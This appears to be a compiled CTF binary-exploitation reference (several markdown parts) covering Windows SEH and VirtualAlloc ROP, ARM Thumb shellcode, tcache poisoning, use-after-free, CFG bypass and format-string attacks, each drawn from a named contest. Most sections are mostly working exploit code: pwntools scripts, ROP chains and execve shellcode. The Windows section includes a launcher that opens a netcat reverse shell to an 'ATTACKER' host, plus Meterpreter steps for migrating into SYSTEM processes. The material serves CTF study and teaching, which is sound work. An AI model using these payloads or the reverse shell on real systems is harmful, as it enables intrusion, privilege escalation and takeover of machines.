See advanced-exploits-2.md for bytecode validator bypass, io_uring UAF with SQE injection, integer truncation bypass, GC null-reference cascading corruption, leakless libc via multi-fgets, signed/unsigned char underflow with TLS destructor hijack, custom shadow stack bypass, and signed int overflow with XSS-to-binary pwn bridge.
CTF Pwn - Advanced Exploit Techniques (Part 4)
Windows exploitation, ARM shellcode, Forth interpreter exploitation, and GF(2) Gaussian elimination for heap corruption.
Table of Contents
- Windows SEH Overwrite + pushad VirtualAlloc ROP (RainbowTwo HTB)
- SeDebugPrivilege to SYSTEM (RainbowTwo HTB)
- ARM Buffer Overflow with Thumb Shellcode (HackIM 2016)
- Forth Interpreter Command Execution (32C3 2015)
- GF(2) Gaussian Elimination for Multi-Pass Tcache Poisoning (Midnight Flag 2026)
- Single-Bit-Flip Exploitation Primitive (PlaidCTF 2016)
- Game of Life Shellcode Evolution via Still-Lifes (DEF CON Quals 2016)
- UAF via Menu-Driven strdup/free Ordering (PlaidCTF 2016)
- mmap/munmap Size Mismatch UAF for Thread Stack Overlap (0CTF 2017)
- Premature Global Index Update for Out-of-Bounds Stack Write (BKP 2017)
- strcspn as Indirect Null Byte Injection (BSidesSF 2017)
- Windows CFG Bypass Using system() as Valid Call Target (Insomni'hack 2017)
- Neural Network Output as Function Pointer Index OOB (SwampCTF 2018)
- Shellcode Unique-Byte Limit Bypass via Counter Overflow (Blaze CTF 2018)
- ARM64 getusershell() as x0 Setup Gadget for system() (HITCON 2018)
---
Windows SEH Overwrite + pushad VirtualAlloc ROP (RainbowTwo HTB)
Pattern: 32-bit Windows PE (Portable Executable) with ASLR (Address Space Layout Randomization), DEP (Data Execution Prevention), and GS (stack cookie) enabled but SafeSEH disabled. Combine format string leak (defeats ASLR) with SEH-based (Structured Exception Handler) buffer overflow using VirtualAlloc ROP chain to bypass DEP.
Attack chain: 1. Format string leak defeats ASLR: User input used as printf format string leaks code pointer at position 2: LST %p-%p-%p-%p-%p -> binary_base = int(leaks[1], 16) - 0x14120 2. Buffer overflow triggers SEH: sprintf("Path: %s", user_path) into 1024-byte buffer overflows into SEH handler chain 3. Stack pivot via SEH handler: add esp, 0xe10; ret redirects from exception context into ROP chain 4. Ret-slide absorbs crash variation: 30x ret gadgets at start of ROP chain absorb variable crash offset 5. pushad VirtualAlloc technique: Set all 8 registers to correct values, then pushad builds the entire VirtualAlloc(lpAddress, dwSize=1, flAllocationType=0x1000, flProtect=0x40) call frame in one instruction 6. IAT-relative function resolution: VirtualAlloc not in IAT (Import Address Table), but TlsAlloc is. Read [TlsAlloc@IAT], add offset to get VirtualAlloc address -- offset calculated from provided kernel32.dll 7. jmp esp to shellcode: After VirtualAlloc marks stack RWX (Read-Write-Execute), jmp esp executes shellcode that follows
# Key ROP chain structure (simplified)
rop = p32(base + RET) * 30 # ret-slide for stability
# Set flProtect = 0x40 (PAGE_EXECUTE_READWRITE) via subtraction (avoid nulls)
rop += p32(base + POP_EAX) + p32(0x8314c2ab)
rop += p32(base + SUB_EAX) # sub eax, 0x8314c26b -> eax = 0x40
# Resolve VirtualAlloc: [TlsAlloc@IAT] + offset
rop += p32(base + POP_EAX) + p32(base + TLSALLOC_IAT)
rop += p32(base + MOV_EAX_DEREF_EAX) # eax = TlsAlloc address
rop += p32(base + ADD_EAX_EDI) # eax = VirtualAlloc address
# pushad builds call frame, jmp esp runs shellcode
rop += p32(base + PUSHAD_RET)
rop += p32(base + JMP_ESP)Bad characters for shellcode: \x00 (sprintf null), \x09-\x0d (whitespace), \x20 (space), \x25 (% triggers format string). Encode with msfvenom's shikata_ga_nai to avoid these bytes.
Detached process for shell stability: When exploiting thread-based servers, child processes die with the parent thread. Compile a launcher with CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS flags:
// i686-w64-mingw32-gcc launcher.c -o launcher.exe -static
#include <windows.h>
int main() {
STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
CreateProcessA(NULL, "C:\\shared\\nc.exe ATTACKER 9002 -e cmd.exe",
NULL, NULL, FALSE,
CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS | CREATE_NO_WINDOW,
NULL, NULL, &si, &pi);
return 0;
}Key insight: pushad pushes all 8 general-purpose registers (EDI, ESI, EBP, ESP, EBX, EDX, ECX, EAX) onto the stack in one instruction. By pre-loading each register with the correct value, pushad builds the entire STDCALL function call frame in the exact order Windows expects. This avoids the need for mov [esp+N], reg gadgets which are rare.
---
SeDebugPrivilege to SYSTEM (RainbowTwo HTB)
Exploits SeDebugPrivilege to escalate to SYSTEM by migrating into a SYSTEM-owned process. The privilege allows debugging any process, even if listed as "Disabled" -- Meterpreter enables it automatically before use.
Steps: 1. Upload Meterpreter payload and obtain a session 2. Migrate into a SYSTEM-level process:
meterpreter > migrate -N winlogon.exe
meterpreter > getuid
# NT AUTHORITY\SYSTEMMeterpreter's migrate injects a DLL into the target process (winlogon.exe, lsass.exe), running code as that process's user (SYSTEM).
Detection: whoami /priv shows SeDebugPrivilege. Common on service accounts and NT AUTHORITY\SERVICE.
Key insight: Always run whoami /priv after landing a Windows shell. SeDebugPrivilege -- even when shown as "Disabled" -- is a direct path to SYSTEM via process migration.
---
ARM Buffer Overflow with Thumb Shellcode (HackIM 2016)
ARM exploitation differs from x86 in several key ways:
1. Register conventions: PC (program counter) instead of EIP; LR (link register) for return addresses 2. Thumb mode: Set bit 0 of target address to 1 to switch to Thumb (16-bit) instructions, which avoids null bytes more easily 3. Syscall numbers: Different from x86 (execve = 11, dup2 = 63)
Socket-based ARM Thumb shellcode (dup2 + execve):
.syntax unified
.thumb
dup2_loop:
mov r1, r6 @ socket fd (leaked or known)
mov r0, #0 @ stderr=0, increment for stdout, stdin
movs r7, #0x3f @ __NR_dup2 = 63
svc #1
add r0, #1
cmp r0, #3
blt dup2_loop
execve:
adr r0, shell
eor r1, r1 @ argv = NULL
eor r2, r2 @ envp = NULL
movs r7, #0xb @ __NR_execve = 11
svc #1
shell: .ascii "/bin/sh\x00"Cross-compile and test with QEMU:
arm-linux-gnueabi-as -mthumb -o sc.o shellcode.s
arm-linux-gnueabi-ld -o sc sc.o
qemu-arm -g 1234 ./sc # Debug with gdb-multiarchKey insight: Use qemu-arm for local testing and gdb-multiarch for debugging. Statically-linked ARM binaries contain all gadgets needed for ROP without library dependencies.
---
Forth Interpreter Command Execution (32C3 2015)
Forth interpreters may expose a system word that executes shell commands. When interacting with a Forth-based service:
s" cat /flag" system
s" ls -la" system
s" /bin/sh" systemThe s" word pushes a string address and length onto the stack; system pops them and executes via the shell. Check for other dangerous words: included (file inclusion), open-file, read-file.
---
GF(2) Gaussian Elimination for Multi-Pass Tcache Poisoning (Midnight Flag 2026)
When a binary applies a deterministic XOR cipher to heap data (corrupting adjacent tcache fd pointers as a side effect), and each cipher seed produces a different XOR keystream at the fd offset, model the corruption as a linear algebra problem over GF(2) to find exactly which seeds transform the fd to a target address.
Problem formulation: Given current fd value C and target T, compute delta D = C ^ T. Each seed i produces a 64-bit XOR vector v_i at the fd offset. Find a subset S of seeds where XOR(v_i for i in S) == D.
def find_subset_xor(vectors, target):
"""Find subset of 64-bit vectors that XOR to target via GF(2) Gaussian elimination"""
n = len(vectors)
basis = {} # bit_position -> (vector_value, set_of_contributing_indices)
for i, v in enumerate(vectors):
mask = frozenset([i])
val = v
for bit in range(63, -1, -1):
if not (val >> bit) & 1:
continue
if bit in basis:
val ^= basis[bit][0]
mask = mask.symmetric_difference(basis[bit][1])
else:
basis[bit] = (val, mask)
break
# Solve for target
result = frozenset()
val = target
for bit in range(63, -1, -1):
if (val >> bit) & 1:
if bit not in basis:
raise ValueError("Target not in span")
val ^= basis[bit][0]
result = result.symmetric_difference(basis[bit][1])
return result
# Precompute XOR vectors: run cipher with each seed, extract 8 bytes at fd offset
vectors = {}
for seed in range(10000):
keystream = djb2_cipher(seed, length=0x90)
xor_at_fd = u64(keystream[0x88:0x90]) # fd is at offset 0x88 in chunk
vectors[seed] = xor_at_fd
# Compute target delta (safe-linking aware)
current_fd = leaked_fd # From heap over-read
target_fd = (io_list_all - 0x10) ^ (chunk_addr >> 12) # Mangled target
delta = current_fd ^ target_fd
seeds_to_apply = find_subset_xor(vectors, delta)
# Apply each seed sequentially -- order doesn't matter (XOR is commutative)
for seed in seeds_to_apply:
apply_cipher(chunk_idx, seed)Typical result: ~30-35 seeds from a 10,000-seed space. Each application XORs one vector into the fd, cumulatively producing the exact target.
Key insight: Any deterministic byte-level transformation of heap metadata can be modeled as GF(2) linear algebra when the operation is XOR. This generalizes beyond specific cipher implementations -- it applies whenever you can repeatedly XOR predictable patterns into a target value.
---
Single-Bit-Flip Exploitation Primitive (PlaidCTF 2016)
Pattern (butterfly): Binary accepts an integer, computes address = input >> 3 and bit = input & 7, then flips *address ^= (1 << bit) after making the page RWX via mprotect. Single bit flip per invocation, but chaining multiple flips builds arbitrary code.
Exploitation strategy:
1. Create a loop: Flip a bit in the function epilogue add rsp, 0x48 to add rsp, 0x08, causing stack misalignment that reuses buffer contents as return address. Set return address to function start for repeated invocations:
# Flip bit 6 at address 0x400863 to change 0x48 -> 0x08
cosmic_ray = (0x400863 << 3) | 6 # = 335716142. Craft `jmp rsp`: Flip one bit of an existing jmp rax instruction (0xFF 0xE0) to jmp rsp (0xFF 0xE4):
cosmic_ray = (0x4006E6 << 3) | 2 # = 335685623. Disable stack canary check: Flip the conditional jump (jnz) at the canary check to a non-branching instruction:
# 0x75 (jnz) ^ 0x40 = 0x35 (xor eax, imm32)
cosmic_ray = (0x40085B << 3) | 64. Expand input buffer: Flip a bit in the fgets size argument to read more bytes for shellcode
5. Make stack RWX: Flip mov r15, rbp to mov r15, rsp so mprotect targets the stack
6. Inject shellcode on the now-RWX stack, return to jmp rsp
Alternative approach: XOR shellcode with existing .text bytes, compute which bits differ, flip each one, then redirect execution to the shellcode location.
Key insight: A single-bit-flip primitive becomes arbitrary code execution through cumulative modifications. Each flip changes one instruction or operand, and returning to the function start enables unlimited flips. Priority targets: (a) stack unwinding instructions (control flow hijack), (b) existing branch instructions (bypass security checks), (c) mprotect arguments (change memory permissions), (d) size parameters (expand read buffers).
---
Game of Life Shellcode Evolution via Still-Lifes (DEF CON Quals 2016)
Pattern (b3s23): Binary reads coordinates for Conway's Game of Life cells on a 110x110 grid, runs 15 iterations, then executes the grid data as machine code. Construct a board that remains stable through 15 iterations while containing valid x86 shellcode.
Approach — static shellcode rows:
1. Place x86 instructions in specific rows of the grid 2. Use Game of Life "still-life" patterns (stable configurations) on surrounding rows to keep the shellcode rows unchanged through all iterations 3. Connect shellcode rows with JMP instructions to skip non-code rows
Row N-1: still-life border pattern (keeps row N stable)
Row N: > shellcode bytes | JMP to next row
Row N+1: still-life border pattern
Row N+2: (empty or border)Shellcode constraints:
- Avoid 5+ consecutive 1-bits (no small still-life can stabilize these)
- Use
add al, 0(0x04 0x00) as NOP separator between instructions (all bits off) - Adjacent "wall" patterns (vertical columns of 1s) must match at boundaries
- Two columns of 0s between patterns prevents interference
Useful still-life patterns for embedding:
Block: xx Snake: xx x
xx x xx# Convert board to coordinates and feed to binary
import re
from pwn import *
rows = open('board.txt').read().split('\n')
coords = []
for y, row in enumerate(rows):
for m in re.finditer('x', row):
coords.append((m.start(), y))
p = process('./b3s23')
for x, y in coords:
p.sendline(f'{x},{y}')
p.sendline('done')
p.interactive()Key insight: Game of Life still-lifes are patterns unchanged by the update rules. By embedding shellcode in rows surrounded by still-life borders, the code survives all iterations. The simplest strategy is to read() real shellcode onto the grid after gaining execution, avoiding complex Game of Life-aware instruction encoding.
---
UAF via Menu-Driven strdup/free Ordering (PlaidCTF 2016)
Pattern (unix_time_formatter): Menu-driven binary uses strdup() to allocate user input (format string, timezone) and free() on exit. Exit option frees allocations but asks "Are you sure?" — answering "no" returns to the menu with dangling pointers. New allocations via strdup() reuse the freed memory.
Exploitation:
1. Set format string (validated for safe characters: %aAbBcC...) 2. Set timezone (no input validation) 3. Choose exit → both pointers freed, but answering "no" continues 4. Set timezone twice — second strdup() reuses the format string's freed allocation 5. Format string pointer now points to attacker-controlled timezone data 6. "Print time" executes system("/bin/date -d @TIME +'FORMAT'") with injected format:
from pwn import *
p = remote('target', 9999)
p.sendlineafter('>', '1') # Set format
p.sendlineafter('Format:', '%c')
p.sendlineafter('>', '3') # Set timezone
p.sendlineafter('zone:', "';/bin/sh #\\")
p.sendlineafter('>', '5') # Exit (frees both)
p.sendlineafter('(y/N)?', 'n') # Don't actually exit
p.sendlineafter('>', '3') # Reallocate into freed format slot
p.sendlineafter('zone:', "';/bin/sh #\\")
p.sendlineafter('>', '3') # Second alloc gets other freed slot
p.sendlineafter('zone:', "';/bin/sh #\\")
p.sendlineafter('>', '4') # Print → shell
p.interactive()Key insight: strdup() uses malloc() internally, so freed strdup buffers enter the malloc freelist and are reused by subsequent strdup() calls of similar size. When the "exit" path frees memory but allows returning to the menu, any field with strict input validation (format) can be overwritten via a field without validation (timezone) through UAF freelist reuse. The system() call then executes the unvalidated content.
---
mmap/munmap Size Mismatch UAF for Thread Stack Overlap (0CTF 2017)
Pattern (UploadCenter): A PNG upload service uses mmap(width*height) for image storage but munmap(compressed_length) to free it. When compressed length exceeds image dimensions, munmap frees more memory than was mapped, unmapping adjacent regions. Chain: (1) upload large PNG so its mmap lands adjacent to a global output buffer; (2) delete PNG — munmap frees both the image AND the output buffer; (3) spawn a thread — pthread_create mmaps a stack into the freed gap, overlapping the still-referenced output buffer; (4) upload new PNG — decompressed data written through the output buffer overwrites the thread's stack for ROP.
# Trigger: allocation uses image dimensions, deallocation uses compressed size
# img = mmap(0, width*height, ...) # small allocation
# pngobj->length = compressed_length # larger than width*height
# munmap(pngobj->content, pngobj->length) # OVER-UNMAP!
# Exploit chain:
upload_png(large_png) # mmap lands near global output buffer
delete_png() # munmap frees output buffer region too
start_monitor() # pthread_create mmaps stack into freed gap
upload_rop_png(rop_payload) # decompress writes through output buf -> thread stackKey insight: The mmap/munmap size mismatch creates an "over-unmap" that silently destroys adjacent mappings. When a new thread's stack fills the gap, the old buffer pointer becomes a write-what-where into the thread's stack frame. This is a race-free UAF variant that doesn't require heap metadata corruption.
---
Premature Global Index Update for Out-of-Bounds Stack Write (BKP 2017)
Pattern (memo): The new_memo function stores the user-supplied memo index into a global variable before validating bounds. The allocation is rejected for out-of-bounds values, but the global last_memo retains the invalid index. The edit_memo function uses last_memo without bounds checking, and the program stores stack pointers at indices 5-9 of the array during new_memo. Setting last_memo=6 causes edit_memo to write through a stack address, enabling direct stack overwrites.
# Bug: global index set BEFORE bounds check
# new_memo:
# last_memo = user_index # stored here
# if user_index > 4: reject # checked too late
# memos[user_index + 5] = &stack_local # stack addr in array!
# Exploit:
new_memo(6) # rejected, but last_memo = 6
# memos[11] = stack pointer from new_memo's frame
edit_memo(payload) # writes through memos[6] which IS a stack address
# payload overwrites return address -> hidden shellcode executor functionKey insight: TOCTOU-style vulnerability in a single function — the index is committed to global state before validation rejects it. Combined with the program storing stack addresses in the same array, this turns an invalid index into a direct stack write primitive. Look for patterns where global state is updated before error checking.
---
strcspn as Indirect Null Byte Injection (BSidesSF 2017)
Pattern (Steel Mountain: Sensors): A CGI binary constructs filenames via snprintf("sensors/%s.cfg", input). Direct null byte injection is blocked by the CGI library. After snprintf, strcspn(buf, "\r\n") is called and the result index is used to write a null byte (terminating at the first newline). Injecting %0A (URL-encoded newline) after the desired filename causes: sensors/../flag.txt\n.cfg → null byte written at the \n position → sensors/../flag.txt\0.cfg, truncating the .cfg extension.
# Request: sensor=../flag.txt%0A&debug
# snprintf produces: "sensors/../flag.txt\n.cfg"
# strcspn("sensors/../flag.txt\n.cfg", "\r\n") = 23
# buf[23] = '\0'
# Result: "sensors/../flag.txt" (null-terminated, .cfg removed)
# -> reads /flag.txt via path traversalKey insight: strcspn followed by null-byte write is a common C pattern for line termination. When user input reaches this code path with injected newlines, it becomes an indirect null byte injection vector — even when direct null bytes are filtered by the input layer (CGI, HTTP).
---
Windows CFG Bypass Using system() as Valid Call Target (Insomni'hack 2017)
Pattern: Windows Control Flow Guard (CFG) validates indirect call targets at runtime, but system() from msvcrt is a valid CFG target, enabling exploitation via function pointer overwrite.
from pwn import *
# On Windows with CFG, overwrite function pointer with system()
# system() is a valid call target in CFG bitmap — it's a legitimate API entry point
# CFG only validates that the target is a valid function start, not WHICH function
# If input filter blocks space (0x20), use comma as argument separator
# cmd.exe treats comma as equivalent to space in argument lists
payload = b"type,flag.txt&whoami^/all\x00"
# 'type,flag.txt' works because cmd.exe treats comma as argument separator
# ^ escapes the / character
# & chains commands
# Exploit chain:
# 1. Leak module base (defeat ASLR)
# 2. Find system() address via IAT or known offset in msvcrt
system_addr = msvcrt_base + system_offset
# 3. Overwrite a function pointer (vtable entry, callback, etc.)
write_addr(vtable_entry, system_addr)
# 4. Trigger the indirect call with controlled first argument
# The overwritten pointer now calls system(attacker_string)
trigger_call(payload)// Alternative: if building a local exploit, bypass character filters
// Comma replaces space, ^ escapes special chars
// system("type,flag.txt") == system("type flag.txt")
// system("cmd,/c,dir") == system("cmd /c dir")Key insight: CFG only validates that the target is a valid function entry point -- it does not restrict which function is called. Since system() is a legitimate API exported by msvcrt, it passes CFG validation. Use comma instead of space and ^ for escaping when the input filter restricts certain characters. This applies to any Windows binary with CFG where you can overwrite an indirect call target.
When to recognize: Windows binary with CFG enabled (check with dumpbin /headers or winchecksec). Look for writable function pointers (vtables, callbacks, C++ objects) that are called via indirect call [reg] instructions. CFG prevents jumping to arbitrary code but allows calling any valid function.
References: Insomni'hack 2017
---
Neural Network Output as Function Pointer Index OOB (SwampCTF 2018)
Pattern: Binary uses a neural network to compute an index into a function pointer array without bounds checking. Edit neuron weights/biases to make the network output an out-of-bounds index pointing to win function.
Attack chain: 1. Reverse engineer the NN architecture: input layer -> hidden layer -> output neuron 2. Identify the function pointer array and the target print_flag function at index 19 (beyond valid range) 3. The bias array is stored as IEEE 754 doubles -- the target address can be encoded directly as a bias value 4. Retrain/edit weights so the network's output neuron produces index 19 for any input 5. The OOB index reads from the biases array, interpreting the print_flag address as a function pointer
import struct
import numpy as np
# Target: function pointer array has 10 valid entries (indices 0-9)
# print_flag is at a known address, need index 19 to reach it in memory
target_index = 19
# The NN output is: sigmoid(sum(w_i * x_i) + bias) * num_functions
# To force output = 19, adjust weights and biases:
# Set all hidden->output weights to 0 except bias
# bias = inverse_sigmoid(19 / num_entries) ... but simpler:
# Overwrite the bias in the model file to encode print_flag address
print_flag_addr = 0x08048686
bias_bytes = struct.pack('<d', float(target_index))
# Patch the model weights file
with open('model.bin', 'r+b') as f:
f.seek(bias_offset)
f.write(bias_bytes)
# When the NN runs: output index = 19 -> array[19] reads from biases
# biases[offset] contains print_flag address as IEEE 754 doubleKey insight: The target address (print_flag) is encoded as an IEEE 754 double in the biases array. The NN is retrained to output index 19 (beyond the valid array), which reads the bias value as a function pointer. Neural network models that compute array indices without bounds checking turn ML parameter editing into arbitrary function dispatch.
---
Shellcode Unique-Byte Limit Bypass via Counter Overflow (Blaze CTF 2018)
Pattern: When shellcode is limited to N unique bytes, use the first run to spray the stack with push instructions, corrupting the uniqueness counter (seen[256]). Arrange re-execution of main (skipping memset) so the counter overflows below N, then send arbitrary shellcode on the second run.
Exploitation strategy: 1. The binary checks seen[256] on the stack to count unique bytes in shellcode 2. If more than N unique bytes are found, execution is rejected 3. First payload uses only a few unique bytes but sprays the stack with push instructions 4. The push spray overwrites the seen[256] counter array on the stack 5. Arrange the shellcode to jump back to main but past the memset that clears seen[] 6. On the second run, the corrupted counter already shows values above threshold, and overflow arithmetic causes the unique count to appear below N
from pwn import *
# First run: corrupt seen[] counter via stack spray
# Use minimal unique bytes: pop rbx, dec rbx, push rbx, inc rsp, jmp rbx
payload1 = asm("pop rbx; " + ("dec rbx; " * (0x72f - 0x6d2)) +
("push rbx; " * 64) + "inc rsp; jmp rbx")
io.send(payload1)
# Second run: full shellcode passes because seen[256] overflowed back to <7
payload2 = asm(shellcraft.sh())
io.send(payload2)
io.interactive()Key insight: The unique-byte counter lives on the stack at seen[256]. Spraying the stack with push instructions during the first shellcode run corrupts this counter. When main re-executes without clearing the array, the overflowed counter allows arbitrary bytes in the second payload. Any stack-resident validation state can be corrupted by shellcode that targets the stack frame above it.
---
See advanced-exploits.md for VM signed comparison, BF JIT shellcode, type confusion, ASAN shadow memory, format string with encoding constraints, MD5 preimage gadgets, VM GC UAF, FSOP + seccomp bypass, and stack variable overlap techniques.
See rop-advanced.md for .fini_array hijack details.
See sandbox-escape.md for shell tricks and restricted environment techniques.
---
ARM64 getusershell() as x0 Setup Gadget for system() (HITCON 2018)
Pattern: ARM64 system() requires x0 to hold the pointer to the command string. Full ASLR + mangled PLT leave no clean one-gadget. But libc's getusershell() returns a pointer to the static string "/bin/sh" inside libc itself, and places it in x0 as its return value. A two-call ROP chain — getusershell() then system() — wins without needing any register-loading gadget.
from pwn import *
libc = ELF("./libc-2.27.so")
def get_libc_base(leak):
return leak - libc.symbols["printf"]
libc_base = get_libc_base(leak_from_bug)
libc.address = libc_base
rop = ROP(libc)
rop.raw(rop.find_gadget(["ret"]).address) # align stack
rop.call(libc.symbols["getusershell"]) # x0 ← "/bin/sh" (side effect)
rop.call(libc.symbols["system"]) # system("/bin/sh")
payload = cyclic(offset_to_pc) + rop.chain()
io.sendline(payload)
io.interactive()Key insight: ARM64 has far fewer stack-popping gadgets than x86-64, so classic pop rdi; ret chains rarely exist. Instead look for libc functions whose return value is a constant pointer that gets stored in the ABI's first-arg register: getusershell(), getenv("SHELL"), getpwuid(0)->pw_shell, tmpnam(). Chain any of them with system()/execve() and you get an implicit arg-setup for free. This trick generalises to any calling convention where the return register equals the first-arg register (ARM32/64, MIPS, RISC-V).
References: HITCON CTF 2018 — tooooo, writeup 11908
CTF Pwn - Advanced Exploit Techniques (Part 5)
Data-interpretation exploitation — cases where the vulnerable program reinterprets attacker-controlled data (bytecode, floats, hash values) in ways that bypass bounds checks or stack protection. For earlier advanced exploits, see advanced-exploits.md, advanced-exploits-2.md, advanced-exploits-3.md, and advanced-exploits-4.md.
Table of Contents
- Chip-8 Emulator Out-of-Bounds Memory for ret2libc (IceCTF 2018)
- Double-Precision Float Quicksort Canary Repositioning (CSAW 2018)
- Bloom Filter abs(INT_MIN) Negative Index OOB Write (DragonCTF Teaser 2018)
---
Chip-8 Emulator Out-of-Bounds Memory for ret2libc (IceCTF 2018)
Pattern: A SUID Chip-8 emulator executes untrusted guest bytecode. Guest memory is nominally 4 KB but the I register is 16 bits, and the emulator's LD [I], Vx / LD Vx, [I] opcodes perform no bounds check. The guest writes 16-bit offsets that reach past mem[4096] into the host stack, leaking a libc return address and then overwriting the saved RIP with a one-gadget.
; Chip-8 pseudo-assembly: read 8 bytes from host stack offset 6360
ANNN ; LD I, 0x18D8 (6360 — tuned from a gdb run)
F865 ; LD V0..V7, [I] (libc address now in V0..V7)
; Print hex or send back via the emulator's debug channel# Host-side exploit driver
from pwn import *
elf = ELF("./chip8")
libc = ELF("./libc.so.6")
# 1. Build a program that reads 8 bytes at offset 6360, then writes the
# one-gadget RIP back to the same offset.
one_gadget = libc.address + 0x45226
prog = asm_chip8([
("LD I", 0x18D8),
("LD V0..V7, [I]", None), # V0..V7 = leaked libc pointer
# Derive libc base (subtract known offset) and rewrite RIP:
("XOR Vx, <delta>", None),
("LD I", 0x18D8),
("LD [I], V0..V7", None),
])
io = process(["./chip8", prog])
io.interactive()Key insight: Emulators that expose a narrower address space than their register file invite bounds-check gaps. Any time a "small" memory buffer is addressed by a wider register, the bytes beyond the declared buffer are the real target. On Linux this usually lands you in libc first (stack saved registers, then __libc_start_main return). The trick is calibrating the offset once in gdb; the rest is regular ret2libc with the emulator as an arbitrary-read/write primitive.
References: IceCTF 2018 — Twitter, writeup 11047
---
Double-Precision Float Quicksort Canary Repositioning (CSAW 2018)
Pattern: The vulnerable program reads an array of double values from the user, runs qsort, then prints the sorted floats. Return address and stack canary live in the same frame reinterpreted as doubles. Because qsort orders the entire frame by IEEE-754 value, an attacker picks input floats whose bit patterns land the correct canary back in the canary slot after the sort — while overwriting the saved RIP slot with a crafted float that re-interprets as a valid win-function address.
from pwn import *
import struct
def f2u(d): # double → raw bytes
return struct.pack("<d", d)
def u2f(b): # raw bytes → double
return struct.unpack("<d", b)[0]
win = 0x400837 # win-function address
canary_d = u2f(p64(0xDEADBEEFCAFEBABE)) # canary bytes interpreted as double
# Inputs chosen so that post-qsort order places:
# slot 0 → fake canary (same bits as the real one)
# slot 1 → win()/ret gadget value
payload = [
canary_d,
u2f(p64(win).ljust(8, b"\x00")),
-1.1, # padding
-20.1, # padding
]
io = process("./doubletrouble")
io.sendline(" ".join(repr(x) for x in payload))
io.interactive()Key insight: When a program reinterprets the stack frame as numeric data and sorts it, the attacker no longer needs a write primitive — the sort itself is the write. Pick floats whose IEEE-754 representation collides with the target bit pattern (canary, return address, saved RBP), then arrange them so the sort order moves them into place. Works against stack canaries because the original canary is already in the frame; you just need to stuff an identical double in another slot and let the sort re-seat it.
References: CSAW CTF Qualification Round 2018 — doubletrouble, writeups 11201, 11213, 11220
---
Bloom Filter abs(INT_MIN) Negative Index OOB Write (DragonCTF Teaser 2018)
Pattern: A bloom filter computes bits[abs(hash) % size] to mark entries. abs(INT_MIN) is undefined in C and glibc returns INT_MIN unchanged, so abs(INT_MIN) % 62 == -2. Because size is 62 and the bits array is immediately followed by a linked_lists array in BSS, the -2 index resolves to a controlled write into the linked-list metadata, hijacking a function pointer that the next allocator call will dereference.
// Vulnerable code
int idx = abs(key_hash) % BLOOM_SIZE;
bits[idx] = 1; // idx can be negative# Crafting the input so that hash(input) == INT_MIN (0x80000000).
# Many toy bloom filters use FNV-1a or multiplicative hashes; a short
# brute-force finds a colliding prefix in seconds.
from pwn import *
def fnv1a(data):
h = 0x811c9dc5
for b in data:
h ^= b
h = (h * 0x01000193) & 0xFFFFFFFF
return h
for i in range(1 << 32):
s = f"{i:x}".encode()
if fnv1a(s) == 0x80000000:
print("collide", s); breakKey insight: The attack surface is not the bloom filter itself but the two-line composition abs() % size. abs(INT_MIN) returns INT_MIN (undefined behaviour but consistent on x86-64 glibc), so the modulo preserves the sign and indexes backwards through the array. Any adjacent struct in BSS with a function pointer near offset -2 becomes a write-what-where. Mitigate with (unsigned)hash % size or hash & (size-1) for power-of-two sizes.
References: DragonCTF Teaser 2018 — Fast Storage, writeup 11460
CTF Pwn - Format String Exploitation
Table of Contents
- Format String Basics
- Argument Retargeting (Non-Positional %n Trick)
- Blind Pwn (No Binary Provided)
- Format String with Filter Bypass
- Format String Canary + PIE Leak
- __free_hook Overwrite via Format String (glibc < 2.34)
- .rela.plt / .dynsym Patching
- Format String for Game State Manipulation (UTCTF 2026)
- Format String Saved EBP Overwrite for .bss Pivot (PlaidCTF 2015)
- [argv[0] Overwrite for Stack Smash Info Leak (HITCON CTF 2015)](#argv0-overwrite-for-stack-smash-info-leak-hitcon-ctf-2015)
---
Format String Basics
- Leak stack:
%p.%p.%p.%p.%p.%p - Leak specific offset:
%7$p - Write value:
%n(4-byte),%hn(2-byte),%hhn(1-byte),%lln(8-byte) - GOT overwrite for code execution
Write size specifiers (x86-64):
| Specifier | Bytes Written | Use Case |
|---|---|---|
%n | 4 | 32-bit values |
%hn | 2 | Split writes |
%hhn | 1 | Precise byte writes |
%lln | 8 | Full 64-bit address (clears upper bytes) |
IMPORTANT: On x86-64, GOT entries are 8 bytes. Using %n (4-byte) leaves upper bytes with old libc address garbage. Use %lln to write full 8 bytes and zero upper bits.
Arbitrary read primitive:
def arb_read(addr):
# %7$s reads string at address placed at offset 7
payload = flat({0: b'%7$s#', 8: addr})
io.sendline(payload)
return io.recvuntil(b'#')[:-1]Arbitrary write primitive:
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {target_addr: value})Manual GOT overwrite (x86-64):
# Format: %<value>c%<offset>$lln + padding + address
# Address at offset 8 when format is 16 bytes
win = 0x4011f6
target_got = 0x404018 # e.g., printf@GOT
fmt = f'%{win}c%8$lln'.encode() # Write 'win' chars then store to offset 8
fmt = fmt.ljust(16, b'X') # Pad to 16 bytes (2 qwords)
payload = fmt + p64(target_got) # Address lands at offset 6 + 16/8 = 8
# Note: This prints ~4MB of spaces - be patient waiting for outputOffset calculation for addresses:
- Buffer typically starts at offset 6 (after register args)
- If format string is padded to N bytes, addresses start at offset:
6 + N/8 - Example: 16-byte format → addresses at offset 8
- Example: 32-byte format → addresses at offset 10
- Example: 64-byte format → addresses at offset 14
Verify offset with test payload:
# Put known address after N-byte format, check with %<calculated_offset>$p
test = b'%8$p___XXXXXXXXX' # 16 bytes
payload = test + p64(0xDEADBEEF)
# Should print 0xdeadbeef if offset 8 is correctGOT target selection:
- If
exit@GOTdoesn't work, try other GOT entries printf@GOT,puts@GOT,putchar@GOTare good alternatives- Target functions called AFTER the format string vulnerability
- Check call order in disassembly to pick best target
Argument Retargeting (Non-Positional %n Trick)
Use this when you cannot embed addresses (input filtering, newline issues) but can still use %n and a stack pointer is available as an argument.
Key idea: Non-positional specifiers consume arguments in order. You can overwrite a future argument (which is itself a pointer) before it is used, then use it as an arbitrary write target.
Why non-positional: Positional formats (%22$hn) are cached up front by glibc, so changing the underlying stack slot after parsing won’t change the pointer. Non-positional %n avoids that cache.
Workflow (example): 1. Leak offsets: find a stack pointer argument you can overwrite (e.g., saved rbp on the stack). 2. Advance the argument index with %c (each %c consumes one argument). 3. Use %n to write a 4-byte value into that pointer slot (e.g., make arg22 point to exit@GOT). 4. Print additional chars and use %hn to write the low 2 bytes to the now-retargeted pointer.
Pattern (conceptual):
%c%c%c...%c # consume args to reach pointer slot
